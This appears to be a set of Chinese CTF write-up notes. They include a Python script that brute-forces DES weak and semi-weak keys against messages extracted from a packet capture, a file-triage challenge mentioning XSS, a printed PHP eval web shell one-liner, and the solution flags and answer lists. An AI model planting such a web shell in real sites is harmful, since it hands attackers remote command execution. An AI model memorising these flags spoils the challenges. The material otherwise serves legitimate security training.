flag{data_security_is_very_interesting}
题目描述:在数据安全领域,弱密钥和不安全的加密方式如同数字世界的 "隐形杀手",可能引发严重安全漏洞,威胁个人、企业甚至国家网络安全。如金融交易系统使用弱密钥,会被黑客暴力破解篡改数据;电商平台若加密模式缺乏随机化,易导致用户密码泄露。本次挑战赛中,你将作为网络安全分析师,剖析存在风险的加密通信协议,检查密钥机制与加密模式,寻找安全漏洞和隐藏 Flag
原理:
https://noob-atbash.github.io/CTF-writeups/cyberwar/crypto/chal-5.html
这篇有弱密钥 参考这个 常见的弱密钥 进行爆破 写个脚本
import subprocess
import re
import json
from Crypto.Cipher import DES
from base64 import b64decode
def extract_msgs(pcap):
cmd = ['tshark', '-r', pcap, '-T', 'fields', '-e', 'data']
res = subprocess.run(cmd, capture_output=True, text=True).stdout.splitlines()
msgs = []
for line in res:
try:
s = bytes.fromhex(line).decode(errors='ignore')
for m in re.findall(r'\{.*?\}', s, re.DOTALL):
try:
obj = json.loads(m)
if 'msg' in obj: msgs.append(obj['msg'])
except:
pass
except:
pass
with open('output.txt', 'w') as f:
f.write('\n'.join(msgs))
return msgs
WEAK_KEYS = [
b'\x01\x01\x01\x01\x01\x01\x01\x01',
b'\x1F\x1F\x1F\x1F\x0E\x0E\x0E\x0E',
b'\xE0\xE0\xE0\xE0\xF1\xF1\xF1\xF1',
b'\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF'
]
SEMI_WEAK_KEYS = [
b'\x01\xFE\x01\xFE\x01\xFE\x01\xFE',
b'\xFE\x01\xFE\x01\xFE\x01\xFE\x01',
b'\x1F\xE0\x1F\xE0\x0E\xF1\x0E\xF1',
b'\xE0\x1F\xE0\x1F\xF1\x0E\xF1\x0E',
b'\x01\xE0\x01\xE0\x01\xF1\x01\xF1',
b'\xE0\x01\xE0\x01\xF1\x01\xF1\x01',
b'\x1F\xFE\x1F\xFE\x0E\xFE\x0E\xFE',
b'\xFE\x1F\xFE\x1F\xFE\x0E\xFE\x0E',
b'\x01\x1F\x01\x1F\x01\x0E\x01\x0E',
b'\x1F\x01\x1F\x01\x0E\x01\x0E\x01',
b'\xE0\xFE\xE0\xFE\xF1\xFE\xF1\xFE',
b'\xFE\xE0\xFE\xE0\xFE\xF1\xFE\xF1'
]
KEYS = WEAK_KEYS + SEMI_WEAK_KEYS
PATTERN = re.compile(b'flag\{.*?\}', re.IGNORECASE)
def attack():
msgs = extract_msgs("capture.pcapng")
print(f"提取 {len(msgs)} 条消息,开始攻击...")
for i, msg in enumerate(msgs):
try:
ct = b64decode(msg)
for key in KEYS:
pt = DES.new(key, DES.MODE_ECB).decrypt(ct)
if PATTERN.search(pt):
print(f"\n找到匹配 (消息 {i + 1}):")
print(f"密钥: {key.hex()}")
print(f"明文: {pt.decode(errors='replace')}")
except:
pass
if __name__ == "__main__":
attack()
FLAG HEADER:flag{9adee8d8d9db40fc99e8366bf2bd474d}
import re, json
msgs = []
with open("1.txt") as f:
for line in f:
text = bytes.fromhex(line.strip()).decode("utf-8", "ignore")
for item in re.findall(r"\{.*?\}", text):
if item.startswith("{") and item.endswith("}") and "\"" in item: # 粗筛掉非法 JSON
obj = json.loads(item)
if "msg" in obj:
msgs.append(obj["msg"])
with open("output.txt", "w") as f:
f.write("\n".join(msgs))
print(f"完成,提取 {len(msgs)} 条消息,已保存到 output.txt")
flag{9adee8d8d9db40fc99e8366bf2bd474d}
描述:1.每类文件有五个包含敏感信息泄露或者恶意代码 2.找出来排序 优先级txt>png>pdf 大写>小写>数字 0-9 a-z 3.排列格式xx.xx,yy.yy,zz.zz,结果md5加密 加上flag。 首先拿到题目一堆文件 大概分析一下 先找txt因为比较好找 直接使用kali grep过滤 还可以使用D盾查杀 pdf当时想到html打开 但是没有一个查看所有没有找到 还是不够细心 发现是XSS漏洞 ok全部找了按规则排序就行(这里容易出错) flag{6c6a952ef4bbd8b0de734a313c5dd0c4} 大模型题目描述没存,这个线下没有库做不了,复现的话gpt可以出 转载参考连接地址:数据处理-MISC-大浪淘金方显英雄本色
<?php @eval($_POST['cmd']); ?>
ODpT3N.txt,Spiy1B.txt,48YuFM.txt,5JfXXX.txt,6mmE9I.txt,EFCC3t.png,HRp1jjgglR.png,wdCr8GF5R.png,19nNx8m.png,82oprl.png,OGoyOG.pdf,bVKINl.pdf,hnPRx1.pdf,mIR13t.pdf,rSG2pw.pdf
数据加密处理-DNN